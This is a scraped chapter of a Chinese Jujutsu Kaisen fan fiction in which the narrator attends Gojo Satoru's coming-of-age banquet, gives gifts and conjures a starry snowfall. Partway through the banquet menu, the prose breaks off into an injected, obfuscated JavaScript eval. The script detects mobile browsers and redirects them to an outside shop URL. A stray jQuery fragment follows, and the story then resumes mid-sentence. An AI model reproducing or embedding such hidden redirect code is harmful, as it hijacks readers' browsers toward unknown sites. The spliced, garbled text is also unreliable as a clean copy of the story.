文趣网 > 都市小说 > [咒回]我的性别不是玩具 > 8. 魔术家有访
    12月7号那天,我专门请假去了京都。

    根据手机里发来的地址,下了地铁后又坐了公交车,没想到还有一段距离。

    我把手在空中一转,一个滑板便被我握在手里,接着被我踩在脚下来了个漂亮的尖翻。

    我就这样滑着滑板去了五条家的宅邸。

    还挺惬意的,路边的绿化做的不错。

    抵达五条宅后,有一名穿着和服的侍女站在门口等候。

    我滑着滑板靠近她,她微微鞠躬朝我问好。

    “您就是五条少爷的朋友吧,将由我带您去和室稍作休息,今天是少爷的半元服礼,少爷一早便出门参拜了,等大概中午的时候便会回来进行家宴,家宴后便是夜宴。”

    我从滑板上下来,打了个响指,滑板就消失了,然后同样微微鞠躬。

    “早上好,小姐。没想到是我来早了,早知道找个地方再逛一会儿就好了。”

    “五条家也有可以观赏的景致,您可以稍作消遣。今天大家都很繁忙,若不小心冲撞客人您了,先跟您道个歉,大家只是太激动了。”

    我摆摆手,把手机递给她,让她帮我拍照。

    她接过手机,我站在门口比了个耶,咔嚓一声。

    “谢谢。”我道谢完后,把这张照片发给了夜蛾和五条悟。

    “您客气了,请跟我来。”

    我在她的带领下穿过长屋门,踏入前院,紧密铺设的碎石在脚下沙沙作响,抬头望去,视线所及之处甚是和谐美感。

    从开有透垣的围墙望去,恰好能望见远处的山峦。院内栽有树干弯曲的松树,树枝被精心修剪成多层云片,每一层都必须能看见天空,每一根松针都生机勃勃。

    踏入玄关,地面的黑漆木板如同铜镜,侍女带我来到和室,我扫了一眼,榻榻米看起来整洁舒适,挂着画,摆着插花。

    侍女说我可以在这里先等待,也可以去后院转转。

    我说想去后院转转,她便带着我去。

    后院摆着筑山与陶缸,枫树正盛,旁边配着松树,池塘里锦鲤拍水。

    口袋里传来消息的提示声,周围走动的人们安静迅速,看到我还会微微鞠躬打招呼。

    我也没打算把这个地方当作旅游景点,便没去其它地方,老老实实的去了和室。

    侍女为我沏茶,我看着她行云流水的动作,茶香飘起,赏心悦目。

    我让她去忙了,说自己一个人待着就好,等她走后,便叼起桌上摆的和果子,拿出手机回消息。

    【夜蛾:你就穿成这样出去了?不是让你换上那套和服吗?

    我:那样的我行动不方便,幸好没有穿,不然滑板都滑不开。】

    照片里的我穿着酒红色菱格皮马甲,大毛领连帽,后背有着水钻骷髅交叉骨头图案,内搭黑白斑马纹长袖打底。腰腹叠穿格纹衬衫做层次。

    下装是做旧浅蓝绿水洗牛仔裤,圈着复古雕花巴洛克油画风宽版皮带,裤脚堆褶。

    踏着米白与黑拼色的复古板鞋,暗彩色细编鞋带。

    很街头啊,很美式啊,这样比穿和服喜庆多了。

    【五条悟:好烦啊,流程好多。你今天穿的有点像斑马。

    我:斑马多帅气。】

    【夜蛾:那你也没必要变成斑马去五条家参加宴会吧?你要不要看看别人穿什么?

    我:我这叫为古韵注入现代魅力,也称为美式的入侵。

    夜蛾:别说你认识我。

    我:我不说也没人认识你。】

    午饭前,五条悟回来了,旁边围着许多人,他倒还记得来看我,上穿带有家纹的羽织外套,下穿袴,肚子上还有个小球球,实际上是羽织扣。

    我站起身,“生日快乐啊小少爷。”

    他身后的人微微瞪大着眼睛看我,每个人都穿着和服,看看自家少爷又看看我,想说什么也被我一个微鞠躬鞠没了。

    有人在人群里不满地看我,难道我要来个标准的90度鞠躬吗?

    五条悟挥挥手把他们赶走,那些人尊敬地退出,眼神依依不舍,真把五条悟当宝贝了。

    五条悟还是那副冷感的模样,穿着这身衣服添了几分严肃?还是不可侵犯之感?

    他问:“礼物呢?”

    我摸了把自己顺滑的白金色长发,有些疑惑,“不是晚上才送吗?”

    “遵循那些规矩做什么?反正迟早都要到我手上。”

    “好吧,”我变出储存好的礼物,份量不小,别着大大的粉色蝴蝶结,包装纸是五颜六色泼墨美式墙绘风,“这只是其中一份,还有一个要到晚上使出来才好看。”

    他挑了挑眉,显得有些兴致勃勃地接过我手中的礼物,坐下就开始拆了。

    我拨了拨他胸下的白色小球球,他没拦我。

    蝴蝶结的丝带掉落在地,包装纸完好地被他拆开,他把礼物一个个拿出来。

    魔卡少女小樱里的可鲁贝洛斯,数码宝贝里的皮卡丘、喷火龙、超梦、伊布、耿鬼。

    “这个可鲁贝洛斯是咒骸?”

    “是啊,我和夜蛾一起做的,注入咒力可以飞来飞去哦。”

    “有意思,”他捏了捏玩偶,“但这侵权了吧?”

    “哦,好像是,但只是改造了一下,没关系的。”

    最新款的游戏机和游戏卡带,一顶路飞的草帽,润唇膏。

    “这个润唇膏是怎么回事?”

    “我可是咨询了班级里的女生才买的呢,这个润唇膏我试了还不错。”

    “是吗,那我下次涂涂看。”

    他翻出了一副墨镜,一双最新款球鞋,小樱的魔杖,以及黑色渔网衫。

    “?你糟糕的衣品已经到这个地步了吗?”五条悟拎起衣物,表情不解但好奇地翻着衣服看来看去。

    “这个可以防晒的。”夏天可以穿。

    他按了按魔杖的按钮,魔杖里发出声音和彩光,“喔,好少女啊。”

    一个消灾面具,一包降温贴,还有一个蓝色的滑板。

    至此,礼物完毕。

    五条悟拿起滑板,看起来有点小兴奋,举着魔杖当场在室内滑了起来,天上还有小玩偶飞来飞去。

    他在室内滑着滑着,说要去开阔平坦的地方玩,我们便去了道场。

    带我去的时候,他说我送的礼物简直就像是旅游的时候买的纪念品,看到什么喜欢的就买。

    我:“这么说的话,其实也差不多?毕竟我是想着你收到会不会开心的模样买的,不注意就买了这么多了,幸好不是我的钱。”

    “你这家伙,难道没有羞耻心吗?”

    我沉思片刻,“大概是没有的吧,不过,他的钱不就是我的钱,就像五条家是你的一样。”

    他语调得意,“也是呢,虽然有些烦,但他们没了我好像活不下去的样子。”

    “夸张了吧。”

    我们来到了道场,值守的人看到五条悟恭敬地行礼,发现少爷拿着滑板没什么异议。

    我同样变出了一个滑板,耍着花的给他炫了技。

    他不屑地扬起嘴角,很快就超过我炫技的数量了。

    椰酱:“这个场地还是太平了,不然我们高低给他来一个空中翻转360度超级大旋风无敌陀螺。”

    午饭其实是家宴,晚上才宴请客人。

    我顶着大家的视线,施施然坐到了五条悟的身边,然后旁若无人地开始进食,完全没在意什么家规,毕竟我又不是五条家的人。

    开餐前我拍了照,顺便和五条悟也拍了一张合影,发给了夜蛾。

    夜蛾回消息很快,问我坐的是哪。我说有位置就坐了。夜蛾不回消息了。

    把头从手机里抬起来,我抓起筷子,怎么回事,明明没人在看我,总感觉有针扎在身上,特别是隔壁座位的老男人,感觉在我身上插刀子。

    算了,反正又不痛。

    我去,五条家的伙食真好。

    御煮大根、红白

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967921|214569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    鲷鱼、栗金团、冬季鲷鱼清汤、赤饭、虎屋木盒羊羹、栗菓子,还有各种的甜品,烤肉,烩面,披萨,汽水,海鲜,饺子……

    地上跑的水里游的,都在这了,一个桌子聚集了世界各地的美食。

    我去,这才是真正的宴会啊。

    我快乐扎入食物的海洋,决定年年都来五条悟家给他过生日。

    我吃的不亦乐乎,完全不知道什么时候大家的筷子都停了,我旁边装骨头与壳类的盘子已经被换了好几波。

    等我终于停下,才感到莫名的寂静。

    我视线在周围绕了一圈,不明所以,想到夜蛾说的什么礼仪,还是站起来假装自己有礼帽行了个绅士礼。

    “多谢款待,五条家的饭很好吃。”

    大家好一会儿才纷纷说什么感谢认可。

    我重新坐下,没有喝饮料,端起侍女新换的温茶,挺着背慢慢饮啄着。

    不经意间与撑着脑袋的五条悟对上视线,他忽然哈哈大笑起来。

    “哈哈哈哈哈,你是电波系吗?太迟钝了吧!”

    我歪了歪头,饮尽最后一口茶水。

    椰酱:“我们做了什么吗?”

    我:“没有吧,吃饭而已。”

    夜晚的宴席如期而至,灯光亮起,宾客从门口进来,一个个送上礼物。

    五条悟端坐在主座,偶尔应和几句,大多是他身旁的长老代为寒暄。

    我不感兴趣,中途的烟花倒是不错。

    我撑着脑袋吃着桌子上的栗子蛋糕,有人与我对上视线,我只淡淡移开,感觉自己今天挺受欢迎的呢。

    我对着坐在主座上的五条悟眨眨眼睛,笑了笑,不知道这个笑容怎么样。

    五条悟对我做着口型,说礼物。

    我点了点头,比了个ok,然后跟着他提前离席了。

    我在五条悟的带领下,又来到了一个空旷的地方,看起来像室外的演武场,我们站了上去。

    我神秘地把双手攥紧,让他吹一口气。

    他吹了一口气后,我大幅度地把双手的空气抛入空中,嘴里发出“砰”声,双手松开。

    随之而来的并不是烟花,而是雪,雪原来是一点一点的,然后愈来愈多,但却不是毛鹅大雪,而是更有意境的,柔软而飘逸地。

    五条悟伸手接住,冰晶在他手心化开。

    紧接着,雪开始闪光,像满天的繁星坠入人间,然后汇聚,变大,形成流星,在我们周围转来转去。

    天上还在下着雪,却更像白色的闪粉,天空破了个口子一样倾倒着。

    五条悟的眼睛盯着绕着我们四处乱转的流星,这些星星贴在我们的脚底,带我们飞起。

    它们扩散到整个空旷的地方,变大变小,变成宇宙的模样。

    流动的彩带,水一样,由绿到紫再到粉,周围错落着颜色不一的星球,那是我记忆中从我诞生的栖息之地离开,见到的一幕。

    “生日快乐,悟君。”

    “很美哦,你的术式果然很有趣啊。”他笑着对我说,显得孩子气。

    “创造与变化是我的术式,你能喜欢我很开心。”我插着兜,想起了遥远的母星。

    “你临时改写了局部热力学、电磁学与引力常数,将空气凝华为雪、电离为流星、扭曲空间制造失重,并以分子全息投影实现。

    你是在用咒力写一首物理诗吗?远不于此吧,你还能创造出实物,就像中午的滑板,真是可怕,但却很消耗咒力呢。”

    椰酱:“是这样吗?好像是的。”

    我淡定无比地回应物理题,“是的,没想到被你看出来了。”

    我们不再说话,静静凝视这片终将消逝的宇宙。

    过了会儿,我没有侧头,手指精准地轻轻掐了下他的脸颊,很快松开。

    他没躲,动了动睫毛,问我是不是超级喜欢他。

    我说是,他便不说话了,感觉他的头发都翘起来了,仿佛在说喜欢我是应该的。